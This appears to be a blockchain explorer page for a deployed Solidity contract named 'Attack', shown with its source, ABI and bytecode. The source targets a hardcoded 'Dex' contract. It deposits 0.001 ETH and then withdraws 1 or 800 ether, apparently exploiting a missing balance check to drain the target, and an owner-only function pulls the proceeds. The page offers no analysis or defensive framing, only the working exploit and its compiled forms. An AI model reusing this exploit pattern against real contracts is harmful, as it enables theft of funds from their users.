Overview
ETH Balance
0.005 ETH
Eth Value
$15.12 (@ $3,023.67/ETH)More Info
Private Name Tags
ContractCreator
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
18803504 | 393 days ago | 0.001 ETH |
Loading...
Loading
Contract Name:
Attack
Compiler Version
v0.8.22+commit.4fc1097e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8; interface Dex { function deposit() external payable; function withdraw(uint256 amount) external; } contract Attack { address public owner = msg.sender; address public dex = 0x9a2d163aB40F88C625Fd475e807Bbc3556566f80; modifier onlyOwner() { require(msg.sender == owner, "Not the owner"); _; } function attack1() external payable { Dex(dex).deposit{value: 0.001 ether}(); Dex(dex).withdraw(1e18); } function attack800() external payable { Dex(dex).deposit{value: 0.001 ether}(); Dex(dex).withdraw(800 ether); } receive() external payable { } function withdraw(uint256 amount) external onlyOwner { payable(owner).transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"name":"attack1","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"attack800","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"dex","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739a2d163ab40f88c625fd475e807bbc3556566f8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156100a2575f80fd5b50610665806100b05f395ff3fe60806040526004361061004d575f3560e01c80632e1a7d4d14610058578063419efc0314610080578063692058c21461008a5780638da5cb5b146100b4578063936671f9146100de57610054565b3661005457005b5f80fd5b348015610063575f80fd5b5061007e60048036038101906100799190610487565b6100e8565b005b6100886101db565b005b348015610095575f80fd5b5061009e6102f1565b6040516100ab91906104f1565b60405180910390f35b3480156100bf575f80fd5b506100c8610316565b6040516100d591906104f1565b60405180910390f35b6100e6610339565b005b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016c90610564565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156101d7573d5f803e3d5ffd5b5050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db066038d7ea4c680006040518263ffffffff1660e01b81526004015f604051808303818588803b158015610249575f80fd5b505af115801561025b573d5f803e3d5ffd5b505050505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d670de0b6b3a76400006040518263ffffffff1660e01b81526004016102c291906105c4565b5f604051808303815f87803b1580156102d9575f80fd5b505af11580156102eb573d5f803e3d5ffd5b50505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db066038d7ea4c680006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156103a7575f80fd5b505af11580156103b9573d5f803e3d5ffd5b505050505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d682b5e3af16b188000006040518263ffffffff1660e01b81526004016104219190610616565b5f604051808303815f87803b158015610438575f80fd5b505af115801561044a573d5f803e3d5ffd5b50505050565b5f80fd5b5f819050919050565b61046681610454565b8114610470575f80fd5b50565b5f813590506104818161045d565b92915050565b5f6020828403121561049c5761049b610450565b5b5f6104a984828501610473565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104db826104b2565b9050919050565b6104eb816104d1565b82525050565b5f6020820190506105045f8301846104e2565b92915050565b5f82825260208201905092915050565b7f4e6f7420746865206f776e6572000000000000000000000000000000000000005f82015250565b5f61054e600d8361050a565b91506105598261051a565b602082019050919050565b5f6020820190508181035f83015261057b81610542565b9050919050565b5f819050919050565b5f819050919050565b5f6105ae6105a96105a484610582565b61058b565b610454565b9050919050565b6105be81610594565b82525050565b5f6020820190506105d75f8301846105b5565b92915050565b5f819050919050565b5f6106006105fb6105f6846105dd565b61058b565b610454565b9050919050565b610610816105e6565b82525050565b5f6020820190506106295f830184610607565b9291505056fea2646970667358221220cb9b57bf11a62b9b538a8cc7d9c8104175fc6fad210913144165f9900b504da264736f6c63430008160033
Deployed Bytecode
0x60806040526004361061004d575f3560e01c80632e1a7d4d14610058578063419efc0314610080578063692058c21461008a5780638da5cb5b146100b4578063936671f9146100de57610054565b3661005457005b5f80fd5b348015610063575f80fd5b5061007e60048036038101906100799190610487565b6100e8565b005b6100886101db565b005b348015610095575f80fd5b5061009e6102f1565b6040516100ab91906104f1565b60405180910390f35b3480156100bf575f80fd5b506100c8610316565b6040516100d591906104f1565b60405180910390f35b6100e6610339565b005b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016c90610564565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156101d7573d5f803e3d5ffd5b5050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db066038d7ea4c680006040518263ffffffff1660e01b81526004015f604051808303818588803b158015610249575f80fd5b505af115801561025b573d5f803e3d5ffd5b505050505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d670de0b6b3a76400006040518263ffffffff1660e01b81526004016102c291906105c4565b5f604051808303815f87803b1580156102d9575f80fd5b505af11580156102eb573d5f803e3d5ffd5b50505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db066038d7ea4c680006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156103a7575f80fd5b505af11580156103b9573d5f803e3d5ffd5b505050505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d682b5e3af16b188000006040518263ffffffff1660e01b81526004016104219190610616565b5f604051808303815f87803b158015610438575f80fd5b505af115801561044a573d5f803e3d5ffd5b50505050565b5f80fd5b5f819050919050565b61046681610454565b8114610470575f80fd5b50565b5f813590506104818161045d565b92915050565b5f6020828403121561049c5761049b610450565b5b5f6104a984828501610473565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104db826104b2565b9050919050565b6104eb816104d1565b82525050565b5f6020820190506105045f8301846104e2565b92915050565b5f82825260208201905092915050565b7f4e6f7420746865206f776e6572000000000000000000000000000000000000005f82015250565b5f61054e600d8361050a565b91506105598261051a565b602082019050919050565b5f6020820190508181035f83015261057b81610542565b9050919050565b5f819050919050565b5f819050919050565b5f6105ae6105a96105a484610582565b61058b565b610454565b9050919050565b6105be81610594565b82525050565b5f6020820190506105d75f8301846105b5565b92915050565b5f819050919050565b5f6106006105fb6105f6846105dd565b61058b565b610454565b9050919050565b610610816105e6565b82525050565b5f6020820190506106295f830184610607565b9291505056fea2646970667358221220cb9b57bf11a62b9b538a8cc7d9c8104175fc6fad210913144165f9900b504da264736f6c63430008160033
Deployed Bytecode Sourcemap
173:673:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;740:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;412:129;;;:::i;:::-;;236:63;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;196:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;545:136;;;:::i;:::-;;740:103;362:5;;;;;;;;;;348:19;;:10;:19;;;340:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;812:5:::1;::::0;::::1;;;;;;;;804:23;;:31;828:6;804:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;740:103:::0;:::o;412:129::-;463:3;;;;;;;;;;;459:16;;;483:11;459:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;512:3;;;;;;;;;;;508:17;;;526:4;508:23;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;412:129::o;236:63::-;;;;;;;;;;;;;:::o;196:33::-;;;;;;;;;;;;:::o;545:136::-;598:3;;;;;;;;;;;594:16;;;618:11;594:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;647:3;;;;;;;;;;;643:17;;;661:9;643:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;545:136::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:126::-;1062:7;1102:42;1095:5;1091:54;1080:65;;1025:126;;;:::o;1157:96::-;1194:7;1223:24;1241:5;1223:24;:::i;:::-;1212:35;;1157:96;;;:::o;1259:118::-;1346:24;1364:5;1346:24;:::i;:::-;1341:3;1334:37;1259:118;;:::o;1383:222::-;1476:4;1514:2;1503:9;1499:18;1491:26;;1527:71;1595:1;1584:9;1580:17;1571:6;1527:71;:::i;:::-;1383:222;;;;:::o;1611:169::-;1695:11;1729:6;1724:3;1717:19;1769:4;1764:3;1760:14;1745:29;;1611:169;;;;:::o;1786:163::-;1926:15;1922:1;1914:6;1910:14;1903:39;1786:163;:::o;1955:366::-;2097:3;2118:67;2182:2;2177:3;2118:67;:::i;:::-;2111:74;;2194:93;2283:3;2194:93;:::i;:::-;2312:2;2307:3;2303:12;2296:19;;1955:366;;;:::o;2327:419::-;2493:4;2531:2;2520:9;2516:18;2508:26;;2580:9;2574:4;2570:20;2566:1;2555:9;2551:17;2544:47;2608:131;2734:4;2608:131;:::i;:::-;2600:139;;2327:419;;;:::o;2752:103::-;2815:7;2844:5;2833:16;;2752:103;;;:::o;2861:60::-;2889:3;2910:5;2903:12;;2861:60;;;:::o;2927:194::-;3003:9;3036:79;3054:60;3063:50;3107:5;3063:50;:::i;:::-;3054:60;:::i;:::-;3036:79;:::i;:::-;3023:92;;2927:194;;;:::o;3127:183::-;3240:63;3297:5;3240:63;:::i;:::-;3235:3;3228:76;3127:183;;:::o;3316:274::-;3435:4;3473:2;3462:9;3458:18;3450:26;;3486:97;3580:1;3569:9;3565:17;3556:6;3486:97;:::i;:::-;3316:274;;;;:::o;3596:105::-;3661:7;3690:5;3679:16;;3596:105;;;:::o;3707:198::-;3785:9;3818:81;3836:62;3845:52;3891:5;3845:52;:::i;:::-;3836:62;:::i;:::-;3818:81;:::i;:::-;3805:94;;3707:198;;;:::o;3911:187::-;4026:65;4085:5;4026:65;:::i;:::-;4021:3;4014:78;3911:187;;:::o;4104:278::-;4225:4;4263:2;4252:9;4248:18;4240:26;;4276:99;4372:1;4361:9;4357:17;4348:6;4276:99;:::i;:::-;4104:278;;;;:::o
Swarm Source
ipfs://cb9b57bf11a62b9b538a8cc7d9c8104175fc6fad210913144165f9900b504da2
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|---|---|---|---|---|
ETH | Ether (ETH) | 100.00% | $3,023.67 | 0.005 | $15.12 |
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.